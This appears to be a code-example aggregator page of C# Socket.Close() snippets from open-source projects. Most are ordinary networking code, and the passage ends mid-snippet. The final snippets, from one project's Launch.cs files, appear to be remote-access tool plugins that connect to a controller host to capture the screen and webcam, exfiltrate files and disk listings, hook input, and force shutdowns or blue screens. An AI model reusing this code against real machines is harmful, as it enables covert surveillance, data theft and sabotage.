System.Net.Sockets.Socket.Close()

Here are the examples of the csharp api System.Net.Sockets.Socket.Close() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

854 Examples 7

19 View Source File : LogService.cs
License : MIT License
Project Creator : 0ffffffffh

public static void Stop()
        {
            running = false;
            sock.Close();
            sock.Dispose();

            logFile.Dispose();

            worker.Join();
        }

19 View Source File : Server.cs
License : MIT License
Project Creator : 1ZouLTReX1

static void CloseServer()
    {
        if (listenerSocket == null)
            return;

        if (isRunning) {
            isRunning = false;

            if (listenerSocket.Connected)
                listenerSocket.Shutdown(SocketShutdown.Both);

            listenerSocket.Close();
            listenerSocket = null;
            Debug.Log("s: " + listenerSocket == null);
        }
    }

19 View Source File : Server.cs
License : MIT License
Project Creator : 1ZouLTReX1

static void OnUserDisconnect(Socket sock)
    {
        try
        {
            sock.Close();

            lock (disconnectedClients)
            {
                if (clients.ContainsKey(sock))
                    disconnectedClients.Add(sock);
            }

            InputsOG.Remove(sock);
            OutputsOG.Remove(sock);

            //Console.WriteLine("Client Disconnected");
        }
        catch (Exception e) 
        {
            Debug.Log("OnUserDisconnect: " + e);
        }
    }

19 View Source File : Client.cs
License : MIT License
Project Creator : 1ZouLTReX1

public void Disconnect()
    {
        if (isConnected)
        {
            isConnected = false;
            clientSock.Close();

            Debug.Log("Disconnected from the Server");
        }
    }

19 View Source File : Server.cs
License : MIT License
Project Creator : 1ZouLTReX1

public void StartListening()
    {
        List<Socket> Inputs;
        List<Socket> Errors;

        Console.WriteLine("Main Loop Listening");
        InputsOG.Add(listenerSocket);

        isRunning = true;
        while (isRunning)
        {
            Inputs = InputsOG.ToList();
            Errors = InputsOG.ToList();

            Socket.Select(Inputs, null, Errors, -1);

            foreach (Socket sock in Inputs)
            {
                if (sock == listenerSocket)
                {
                    // If the sock is the server socket then we got a new player.
                    // So we need to Accept the socket and replacedign the socket an available new player ID and enreplacedy.
                    Socket newConnection = sock.Accept();

                    if (playerIdList.Count > 0)
                    {
                        OnUserConnect(newConnection);
                    } 
                    else
                    {
                        Debug.Log($"{newConnection.RemoteEndPoint} failed to connect: Server full!");
                        newConnection.Close();
                    }
                }
                else if (sock != null)
                {
                    if (!isRunning)
                        return;

                    try
                    {
                        User usr = clients[sock];
                        // Receive and process one message at a time.
                        bool result = usr.ReceiveOnce();

                        if (result == false)
                        {
                            OnUserDisconnect(sock);
                        }
                    }
                    catch { }
                }
            }

            foreach (Socket sock in Errors)
            {
                Console.WriteLine("Client Disconnected: Cause - Error");
                OnUserDisconnect(sock);
            }

            Errors.Clear();
        }

        Debug.Log("Stop Listening");
    }

19 View Source File : RedisSocket.cs
License : MIT License
Project Creator : 2881099

public void Dispose()
        {
            if (isDisposed) return;
            isDisposed = true;
            try { _socket.Shutdown(SocketShutdown.Both); } catch { }
            try { _socket.Close(); } catch { }
            try { _socket.Dispose(); } catch { }
        }

19 View Source File : RedisSocket.cs
License : MIT License
Project Creator : 2881099

void InitSocket(EndPoint endpoint)
        {
            if (_socket != null)
            {
                try { _socket.Shutdown(SocketShutdown.Both); } catch { }
                try { _socket.Close(); } catch { }
                try { _socket.Dispose(); } catch { }
            }

            isDisposed = false;
            _socket = endpoint.AddressFamily == AddressFamily.InterNetworkV6 ?
                new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp) :
                new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            _remote = endpoint;
        }

19 View Source File : Resp3HelperTests.cs
License : MIT License
Project Creator : 2881099

public void Dispose()
			{
				_socket.Shutdown(SocketShutdown.Both);
				_socket.Close();
				_socket.Dispose();
			}

19 View Source File : DefaultRedisSocket.cs
License : MIT License
Project Creator : 2881099

public void ReleaseSocket()
        {
            lock (_connectLock)
            {
                if (_socket != null)
                {
                    try { _socket.Shutdown(SocketShutdown.Both); } catch { }
                    try { _socket.Close(); } catch { }
                    try { _socket.Dispose(); } catch { }
                    _socket = null;
                }
                if (_stream != null)
                {
                    try { _stream.Close(); } catch { }
                    try { _stream.Dispose(); } catch { }
                    _stream = null;
                }
                _reader = null;
            }
        }

19 View Source File : SpeedtestHandler.cs
License : GNU General Public License v3.0
Project Creator : 2dust

private int GetTcpingTime(string url, int port)
        {
            int responseTime = -1;

            try
            {
                if (!IPAddress.TryParse(url, out IPAddress ipAddress))
                {
                    IPHostEntry ipHostInfo = System.Net.Dns.GetHostEntry(url);
                    ipAddress = ipHostInfo.AddressList[0];
                }

                Stopwatch timer = new Stopwatch();
                timer.Start();

                IPEndPoint endPoint = new IPEndPoint(ipAddress, port);
                Socket clientSocket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

                IAsyncResult result = clientSocket.BeginConnect(endPoint, null, null);
                if (!result.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(5)))
                    throw new TimeoutException("connect timeout (5s): " + url);
                clientSocket.EndConnect(result);

                timer.Stop();
                responseTime = timer.Elapsed.Milliseconds;
                clientSocket.Close();
            }
            catch (Exception ex)
            {
                Utils.SaveLog(ex.Message, ex);
            }
            return responseTime;
        }

19 View Source File : ClientNetworkManager.cs
License : MIT License
Project Creator : 404Lcc

public void Close()
        {
            socket.Shutdown(SocketShutdown.Both);
            socket.Close();
            socket = null;
            cacheList.Clear();
            receive = false;
        }

19 View Source File : RtmpServer.cs
License : MIT License
Project Creator : a1q123456

private async void AcceptCallback(IAsyncResult ar, CancellationToken ct)
        {
            Socket listener = (Socket)ar.AsyncState;
            Socket client = listener.EndAccept(ar);
            client.NoDelay = true;
            // Signal the main thread to continue.
            _allDone.Set();
            IOPipeLine pipe = null;
            try
            {
                pipe = new IOPipeLine(client, _options);
                await pipe.StartAsync(ct);
            }
            catch (TimeoutException)
            {
                client.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("{0} Message: {1}", e.GetType().ToString(), e.Message);
                Console.WriteLine(e.StackTrace);
                client.Close();
            }
            finally
            {
                pipe?.Dispose();
            }
        }

19 View Source File : IOPipeLine.cs
License : MIT License
Project Creator : a1q123456

internal void Disconnect()
        {
            _socket.Close();
            Dispose();
        }

19 View Source File : ExternalCommunicator.cs
License : Apache License 2.0
Project Creator : A7ocin

private void OnApplicationQuit()
    {
        sender.Close();
        sender.Shutdown(SocketShutdown.Both);
    }

19 View Source File : Form1.cs
License : Apache License 2.0
Project Creator : abaga129

private void DisconnectFromServer()
        {
            Server.Close();
           
        }

19 View Source File : Form1.cs
License : Apache License 2.0
Project Creator : abaga129

public void ReceiveCallback(IAsyncResult asyncResult)
        {
            Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            try
            {
                StateObject state = (StateObject)asyncResult.AsyncState;
                client = state.client;
                int bytesRead = client.EndReceive(asyncResult);

                if(bytesRead.Equals(160))
                    SetPins(Encoding.ASCII.GetString(state.buffer, 0, bytesRead));

                string message = GetMessage();
                Send(client, message);

                if (continueRecv)
                {
                    client.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0, new AsyncCallback(ReceiveCallback), state);
                }
                else
                {
                    client.Close();
                    StatusLabel.Text = "Disconnected From Server";
                }
            }
            catch (Exception E)
            {
                StatusLabel.Text = "Disconnected by Host";
            }
        }

19 View Source File : ConnectionListener.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

public void Shutdown()
        {
            log.DebugFormat("Shutting down ConnectionListener, host {0} port {1}", listeningHost, listeningPort);

            if (Socket != null && Socket.IsBound)
                Socket.Close();
        }

19 View Source File : RedisLite.cs
License : MIT License
Project Creator : AElfProject

private void Connect()
        {
            socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
            {
                SendTimeout = SendTimeout,
                ReceiveTimeout = ReceiveTimeout
            };
            try
            {
                if (ConnectTimeout == 0)
                {
                    socket.Connect(Host, Port);
                }
                else
                {
                    var connectResult = socket.BeginConnect(Host, Port, null, null);
                    connectResult.AsyncWaitHandle.WaitOne(ConnectTimeout, true);
                }

                if (!socket.Connected)
                {
                    socket.Close();
                    socket = null;
                    HadExceptions = true;
                    return;
                }

                Bstream = new BufferedStream(new NetworkStream(socket), 16 * 1024);

                if (Preplacedword != null)
                    SendExpectSuccess(Commands.Auth, Preplacedword.ToUtf8Bytes());

                if (_db != 0)
                    SendExpectSuccess(Commands.Select, _db.ToUtf8Bytes());

                clientPort = socket.LocalEndPoint is IPEndPoint ipEndpoint ? ipEndpoint.Port : -1;
                lastCommand = null;
                lastSocketException = null;
                LastConnectedAtTimestamp = Stopwatch.GetTimestamp();
            }
            catch (SocketException ex)
            {
                socket?.Close();
                socket = null;

                HadExceptions = true;
                var throwEx = new Exception("could not connect to redis Instance at " + Host + ":" + Port, ex);
                Log(throwEx.Message, ex);
                throw throwEx;
            }
        }

19 View Source File : RedisLite.cs
License : MIT License
Project Creator : AElfProject

private void SafeConnectionClose()
        {
            try
            {
                // workaround for a .net http://support.microsoft.com/kb/821625
                Bstream?.Close();
                socket?.Close();
            }
            catch
            {
            }

            Bstream = null;
            socket = null;
        }

19 View Source File : RedisLite.cs
License : MIT License
Project Creator : AElfProject

private bool HandleSocketException(SocketException ex)
        {
            HadExceptions = true;
            Console.WriteLine($"SocketException: {ex}");

            lastSocketException = ex;

            // timeout?
            socket.Close();
            socket = null;

            return false;
        }

19 View Source File : Client.cs
License : Apache License 2.0
Project Creator : aequabit

public void Disconnect()
    {
        if (Processing[0])
        {
            return;
        }
        else
        {
            Processing[0] = true;
        }

        bool Raise = _Connected;
        _Connected = false;

        if (Handle != null)
        {
            Handle.Close();
        }

        if (SendQueue != null)
        {
            SendQueue.Clear();
        }

        SendBuffer = new byte[-1 + 1];
        ReadBuffer = new byte[-1 + 1];

        if (Raise)
        {
            O.Post(state => OnStateChanged(false), null);
        }

        if (Items != null)
        {
            Items[0].Dispose();
            Items[1].Dispose();
        }

        _UserState = null;
        _EndPoint = null;
    }

19 View Source File : Server.cs
License : Apache License 2.0
Project Creator : aequabit

public void Disconnect()
    {
        if (Processing[0])
        {
            return;
        }
        else
        {
            Processing[0] = true;
        }

        bool Raise = _Connected;
        _Connected = false;

        if (Handle != null)
        {
            Handle.Close();
        }

        if (SendQueue != null)
        {
            SendQueue.Clear();
        }

        SendBuffer = new byte[-1 + 1];
        ReadBuffer = new byte[-1 + 1];

        if (Raise)
        {
            OnStateChanged(false);
        }

        if (Items != null)
        {
            Items[0].Dispose();
            Items[1].Dispose();
        }

        _UserState = null;
        _EndPoint = null;
    }

19 View Source File : Server.cs
License : Apache License 2.0
Project Creator : aequabit

public void Disconnect()
    {
        if (Processing)
        {
            return;
        }
        else
        {
            Processing = true;
        }

        if (Handle != null)
        {
            Handle.Close();
        }

        lock (_Clients)
        {
            while (_Clients.Count > 0)
            {
                _Clients[0].Disconnect();
                _Clients.RemoveAt(0);
            }
        }

        if (Item != null)
        {
            Item.Dispose();
        }

        _Listening = false;
        OnStateChanged(false);
    }

19 View Source File : CommunicationManager.cs
License : Apache License 2.0
Project Creator : Aggrathon

void Thread()
	{
		Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
		try
		{
			socket.Connect("localhost", PORT);
			while (!endThread)
			{
				if (socket.Receive(buffer) == 0)
					break;
				switch (buffer[0])
				{
					case RECORD:
						car.userInput = true;
						unsetFastForward = true;
						requireTexture = true;
						while (requireTexture) ;
						if (socket.Send(buffer, statusSize, SocketFlags.None) == 0)
							endThread = true;
						break;
					case DRIVE:
						car.userInput = false;
						car.horizontalSteering = ((float)buffer[1]) / 127.5f - 1f;
						car.verticalSteering = ((float)buffer[2]) / 127.5f - 1f;
						setFastForward = true;
						requireTexture = true;
						while (requireTexture) ;
						if (socket.Send(buffer, statusSize, SocketFlags.None) == 0)
							endThread = true;
						break;
					case HEARTBEAT:
						break;
					case DISCONNECT:
						endThread = true;
						break;
					case PLAY:
						setPlay = true;
						break;
					case PAUSE:
						setPause = true;
						break;
				}
			}
		}
		catch (ThreadAbortException)
		{
		}
		catch (SocketException)
		{
		}
		catch (System.Exception e)
		{
			Debug.LogException(e);
		}
		finally
		{
			socket.Shutdown(SocketShutdown.Both);
			socket.Close();
			thread = null;
			car.userInput = true;
		}
	}

19 View Source File : Session.cs
License : GNU General Public License v3.0
Project Creator : AlanMorel

private void CloseClient()
    {
        // Must close socket before network stream to prevent lingering
        Client?.Client?.Close();
        Client?.Close();
    }

19 View Source File : KUdpMulticastDiscovery.cs
License : MIT License
Project Creator : alethic

public async Task StopAsync(CancellationToken cancellationToken = default)
        {
            using (await sync.LockAsync(cancellationToken))
            {
                host.EndpointsChanged -= OnEndpointsChanged;

                // shutdown socket
                if (mcastSocket != null)
                {
                    // swap for null
                    var s = mcastSocket;
                    mcastSocket = null;

                    try
                    {
                        s.Close();
                        s.Dispose();
                    }
                    catch (ObjectDisposedException)
                    {

                    }
                }

                // shutdown socket
                if (localSocket != null)
                {
                    // swap for null
                    var s = localSocket;
                    localSocket = null;

                    try
                    {
                        s.Close();
                        s.Dispose();
                    }
                    catch (ObjectDisposedException)
                    {

                    }
                }

                if (runCts != null)
                {
                    runCts.Cancel();
                    runCts = null;
                }

                if (run != null)
                {
                    try
                    {
                        await run;
                    }
                    catch (OperationCanceledException)
                    {
                        // ignore
                    }
                }
            }
        }

19 View Source File : NinjaTraderClient.cs
License : Apache License 2.0
Project Creator : AlexWan

private string SendMessage(string message)
        {
            // Connect to remote device / Соединяемся с удаленным устройством

            // Set a remote point for socket / Устанавливаем удаленную точку для сокета
            IPHostEntry ipHost = Dns.GetHostEntry("localhost");
            IPAddress ipAddr = ipHost.AddressList[1];
            IPEndPoint ipEndPoint = new IPEndPoint(ipAddr, 11000);

            Socket sender = new Socket(ipAddr.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

            // Connecting socket to remote point / Соединяем сокет с удаленной точкой
            try
            {
                sender.Connect(ipEndPoint);
            }
            catch (Exception)
            {
                SendLogMessage(OsLocalization.Market.Message76,
                    LogMessageType.Error);
                Thread.Sleep(10000);
            }


            byte[] msg = Encoding.UTF8.GetBytes(message);

            // send data through socket / Отправляем данные через сокет
            sender.Send(msg);


            // Input buffer / Буфер для входящих данных
            byte[] bytes = new byte[1024];

            if (message == "GetSecurities")
            {
                bytes = new byte[1048576];
            }

            // get response from the server / Получаем ответ от сервера
            int bytesRec = sender.Receive(bytes);

            string request = Encoding.UTF8.GetString(bytes, 0, bytesRec);

            // clear socket / Освобождаем сокет
            sender.Shutdown(SocketShutdown.Both);
            sender.Close();

            return request;
        }

19 View Source File : ModSocket.cs
License : MIT License
Project Creator : amazingalek

public void Close()
		{
			Thread.Sleep(TimeSpan.FromSeconds(CloseWaitSeconds));
			_socket?.Close();
		}

19 View Source File : NtpClient.cs
License : GNU General Public License v2.0
Project Creator : AmanoTooko

public TimeSpan GetOffset(out double errorMilliseconds)
        {

            TimeSpan offset=new TimeSpan(0);
            var addresses = Dns.GetHostEntry(_server).AddressList;
            var ipEndPoint = new IPEndPoint(addresses[0], 123);
            var socket =
                new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) {ReceiveTimeout = 3000};
            errorMilliseconds = 0;
            try
            {
                var ntpData = new byte[48];
                ntpData[0] = 0x1B;
                socket.Connect(ipEndPoint);
                var localTransmitTime = DateTime.UtcNow; //T1
                socket.Send(ntpData);
                socket.Receive(ntpData);
                var localReceiveTime = DateTime.UtcNow; //T4
                socket.Close();
                var timeData = new byte[8];
                Array.Copy(ntpData, 32, timeData, 0, 8);
                var receiveTime = byteToTime(timeData); //T2
                Array.Copy(ntpData, 40, timeData, 0, 8);
                var transmitTime = byteToTime(timeData); //T3

                var fractPart = ((ulong) ntpData[10] << 8) |
                                ntpData[11];

                errorMilliseconds = fractPart * 1000 / 0x10000L;
                offset = localReceiveTime - transmitTime - (receiveTime - localTransmitTime); //((T4-T3)-(T2-T1))/2
                CommonUtilities.WriteLog($"localTransmitTime={localTransmitTime.ToString("O")}\r\n " +
                                         $"localReceiveTime = {localReceiveTime.ToString("O")}\r\n " +
                                         $"serverReceiveTime={receiveTime.ToString("O")}\r\n" +
                                         $"serverTransmitTime={transmitTime.ToString("O")}\r\n" +
                                         $"offset={offset.TotalMilliseconds}ms\r\n" +
                                         $"error={errorMilliseconds}ms");
            }
            catch (Exception e)
            {
                CommonUtilities.WriteLog(e.Message);
                MessageBox.Show("同步失败\r\n" + e.Message);
                throw e;

            }

            return offset;



        }

19 View Source File : EndPointListener.cs
License : MIT License
Project Creator : andruzzzhka

private static void onAccept (IAsyncResult asyncResult)
    {
      var lsnr = (EndPointListener) asyncResult.AsyncState;

      Socket sock = null;
      try {
        sock = lsnr._socket.EndAccept (asyncResult);
      }
      catch (SocketException) {
      }
      catch (ObjectDisposedException) {
        return;
      }

      try {
        lsnr._socket.BeginAccept (onAccept, lsnr);
      }
      catch {
        if (sock != null)
          sock.Close ();

        return;
      }

      if (sock == null)
        return;

      processAccepted (sock, lsnr);
    }

19 View Source File : EndPointListener.cs
License : MIT License
Project Creator : andruzzzhka

private static void processAccepted (Socket socket, EndPointListener listener)
    {
      HttpConnection conn = null;
      try {
        conn = new HttpConnection (socket, listener);
        lock (listener._unregisteredSync)
          listener._unregistered[conn] = conn;

        conn.BeginReadRequest ();
      }
      catch {
        if (conn != null) {
          conn.Close (true);
          return;
        }

        socket.Close ();
      }
    }

19 View Source File : EndPointListener.cs
License : MIT License
Project Creator : andruzzzhka

public void Close ()
    {
      _socket.Close ();

      HttpConnection[] conns = null;
      lock (_unregisteredSync) {
        if (_unregistered.Count == 0)
          return;

        var keys = _unregistered.Keys;
        conns = new HttpConnection[keys.Count];
        keys.CopyTo (conns, 0);
        _unregistered.Clear ();
      }

      for (var i = conns.Length - 1; i >= 0; i--)
        conns[i].Close (true);
    }

19 View Source File : HttpConnection.cs
License : MIT License
Project Creator : andruzzzhka

private void closeSocket ()
    {
      try {
        _socket.Shutdown (SocketShutdown.Both);
      }
      catch {
      }

      _socket.Close ();
      _socket = null;
    }

19 View Source File : KService.cs
License : MIT License
Project Creator : AnotherEnd15

public override void Dispose()
        {
            foreach (long channelId in this.idChannels.Keys.ToArray())
            {
                this.Remove(channelId);
            }

            this.socket.Close();
            this.socket = null;
        }

19 View Source File : TChannel.cs
License : MIT License
Project Creator : AnotherEnd15

public override void Dispose()
		{
			if (this.IsDisposed)
			{
				return;
			}

			Log.Info($"channel dispose: {this.Id} {this.RemoteAddress}");
			
			long id = this.Id;
			this.Id = 0;
			this.Service.Remove(id);
			this.socket.Close();
			this.innArgs.Dispose();
			this.outArgs.Dispose();
			this.innArgs = null;
			this.outArgs = null;
			this.socket = null;
		}

19 View Source File : TService.cs
License : MIT License
Project Creator : AnotherEnd15

public override void Dispose()
		{
			this.acceptor?.Close();
			this.acceptor = null;
			this.innArgs.Dispose();
			ThreadSynchronizationContext = null;
			
			foreach (long id in this.idChannels.Keys.ToArray())
			{
				TChannel channel = this.idChannels[id];
				channel.Dispose();
			}
			this.idChannels.Clear();
		}

19 View Source File : TelnetAppender.cs
License : Apache License 2.0
Project Creator : apache

public void Dispose()
				{
					try
					{
						if (m_writer != null)
						{
							m_writer.Dispose();
							m_writer = null;
						}
					}
					catch { }

					if (m_socket != null)
					{
						try
						{
							m_socket.Shutdown(SocketShutdown.Both);
						}
						catch { }

						try
						{
#if NET_4_0 || NETSTANDARD
							m_socket.Dispose();
#else
							m_socket.Close();
#endif
						}
						catch { }

						m_socket = null;
					}
				}

19 View Source File : PhotonPing.cs
License : MIT License
Project Creator : ArcturusZhang

public override void Dispose()
        {
            try
            {
                this.sock.Close();
            }
            catch
            {
            }

            this.sock = null;
        }

19 View Source File : MjpegStreamer.cs
License : MIT License
Project Creator : AristotelisChantzaras

public void Stop()
        {

            if (this.IsRunning)
            {
                try
                {
                    _Thread.Join();
                    _Thread.Abort();
                }
                finally
                {

                    lock (_Clients)
                    {
                        
                        foreach (var s in _Clients)
                        {
                            try
                            {
                                s.Close();
                            }
                            catch(Exception e)
                            {
                                System.Diagnostics.Debug.WriteLine(e.Message);
                            }
                        }
                        _Clients.Clear();

                    }

                    _Thread = null;
                }
            }
        }

19 View Source File : ProxySocket.cs
License : MIT License
Project Creator : ARKlab

private void OnHandShakeComplete(Exception error) {
			if (error != null)
				this.Close();
			ToThrow = error;
			AsyncResult.Reset();
			if (CallBack != null)
				CallBack(AsyncResult);
		}

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            byte[] b;
            try
            {
                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.LOG_OUT_SYS:
                        await Task.Run(() => Functions.PowerOptions(NativeAPI.Miscellaneous.EWX_LOGOFF, 0));
                        break;

                    case Shared.PacketTypes.PacketType.REBOOT_SYS:
                        await Task.Run(() => Functions.PowerOptions(NativeAPI.Miscellaneous.EWX_REBOOT, 0 | NativeAPI.Miscellaneous.SHTDN_REASON_MINOR_BLUESCREEN));
                        break;

                    case Shared.PacketTypes.PacketType.POWER_OFF_SYS:
                        await Task.Run(() => Functions.PowerOptions(NativeAPI.Miscellaneous.EWX_POWEROFF, 0 | NativeAPI.Miscellaneous.SHTDN_REASON_MAJOR_SOFTWARE));
                        break;

                    case PacketTypes.PacketType.SUSPEND_SYS:
                        await Task.Run(() => Functions.Suspend());
                        break;

                    case PacketTypes.PacketType.HIBERNATE_SYS:
                        await Task.Run(() => Functions.Hibernate());
                        break;

                    case Shared.PacketTypes.PacketType.HIDE_DI:
                        await Task.Run(() => Functions.DesktopIcons(false));
                        break;

                    case Shared.PacketTypes.PacketType.SHOW_DI:
                        await Task.Run(() => Functions.DesktopIcons(true));
                        break;

                    case Shared.PacketTypes.PacketType.HIDE_TB:
                        await Task.Run(() => Functions.TaskBar(0));
                        break;

                    case Shared.PacketTypes.PacketType.SHOW_TB:
                        await Task.Run(() => Functions.TaskBar(1));
                        break;

                    case PacketTypes.PacketType.SCRL_ON:
                        await Task.Run(() => Functions.StartScreenLocker());
                        break;

                    case PacketTypes.PacketType.SRCL_OFF:
                        await Task.Run(() => Functions.StopScreenLocker());
                        break;

                    case Shared.PacketTypes.PacketType.BSOD_SYS:
                        await Task.Run(() => Functions.BSOD());
                        break;

                    case PacketTypes.PacketType.KB_ON:
                        await Task.Run(() => Functions.UnhookKeyboard());
                        break;

                    case PacketTypes.PacketType.KB_OFF:
                        await Task.Run(() => Functions.HookKeyboard());
                        break;

                    case PacketTypes.PacketType.MS_ON:
                        await Task.Run(() => Functions.UnhookMouse());
                        break;

                    case PacketTypes.PacketType.MS_OFF:
                        await Task.Run(() => Functions.HookMouse());
                        break;

                    case PacketTypes.PacketType.SET_DESK_WP:
                        b = (byte[])Param[1];
                        await Task.Run(() => Functions.SetWallPaper(b , Param[2].ToString()));
                        break;

                    case PacketTypes.PacketType.GET_PRIV:
                        await Task.Run(() => Functions.GetPrivilege((int)Param[1], ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.GET_PRIV;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;
                }
                S.Close();
                S.Dispose();
            }
            catch (Exception)
            {
            }
            finally
            {
                Shared.Utils.ClearMem();
            }       
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public static void Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            try
            {
                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.REMOTE_VIEW:
                        Socket SCam = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        IPEndPoint epCam = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                        SCam.Connect(epCam);
                        Functions.C = new Client(SCam);
                        Functions.hasToCapture = true;
                        Functions.SendCapture((int)Param[1], (int)Param[2], (int)Param[3], Param[4].ToString(), HWID, key, BaseIP);

                        /* 
                         * Old code , working but slower because each capture needs to get plugin from server !                   
                         byte[] captured = Shared.Compressor.QuickLZ.Compress(Functions.Capture((int)Param[1], (int)Param[2], (int)Param[3], Param[4].ToString()), 1);;
                         D.HWID = HWID;
                         D.Type = Shared.PacketTypes.PacketType.REMOTE_VIEW;
                         D.DataReturn = new object[] { captured, Screen.AllScreens[0].Bounds.Size };
                         D.IP_Origin = BaseIP;
                         await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));*/
                        break;

                }
                S.Close();
                S.Dispose();
            }
            catch { }
            finally
            {
                Shared.Utils.ClearMem();
            }
        }

19 View Source File : Client.cs
License : MIT License
Project Creator : arsium

public void CloseClient()
        {
            this.S.Shutdown(System.Net.Sockets.SocketShutdown.Both);
            this.S.Close();
            this.S.Dispose();
            this.Dispose();
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            try
            {
                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.GET_CAMERAS:
                        {
                            List<string> CameraList = Functions.GetCameras();
                            D.HWID = HWID;
                            D.Type = Shared.PacketTypes.PacketType.GET_CAMERAS;
                            D.DataReturn = new object[] { CameraList };
                            D.IP_Origin = BaseIP;
                            await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                            break;
                        }

                    case Shared.PacketTypes.PacketType.CAPTURE_CAMERA:
                        Socket SCam = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        IPEndPoint epCam = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                        SCam.Connect(epCam);
                        Functions.C = new Client(SCam);
                        Functions.hasToCapture = true;
                        Functions.Capture((int)Param[1], (int)Param[2], H, HWID, key, BaseIP);
                        break;

                }
                S.Close();
                S.Dispose();
            }
            catch { }
            finally
            {
                Shared.Utils.ClearMem();
            }
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            try
            {

                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.GET_D:
                        await Task.Run(() => Functions.GetDisks(ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.GET_D;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.GET_F:
                        Dictionary<int, List<object[]>> ListOfFilesAndDirs = await Task.Run(() => Functions.GetFilesAndDirs((string)Param[1]));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.GET_F;
                        D.DataReturn = new object[] { ListOfFilesAndDirs };
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.DELETE_F:
                        bool deleted = await Task.Run(() => Functions.DeleteFile(Param[1].ToString()));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.DELETE_F;
                        D.DataReturn = new object[] { deleted , Param[1].ToString() };
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.DOWNLOAD_F:
                        byte[] b = new byte[] { };
                        bool downloaded = await Task.Run(() => Functions.DownloadFile(Param[1].ToString(),ref b));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.DOWNLOAD_F;
                        D.DataReturn = new object[] { downloaded, Param[1].ToString(), b };
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.UPLOAD_F:
                        byte[] file = (byte[])Param[2];
                        bool uploaded = await Task.Run(() => Functions.UploadFile(Param[1].ToString(), file));
                        break;

                    case PacketTypes.PacketType.LAUNCH_F:
                        bool launched = await Task.Run(() => Functions.LaunchFile(Param[1].ToString()));
                        break;

                    case PacketTypes.PacketType.RENAME_F:
                        bool renamed = await Task.Run(() => Functions.RenameFile(Param[1].ToString(), Param[2].ToString()));
                        break;

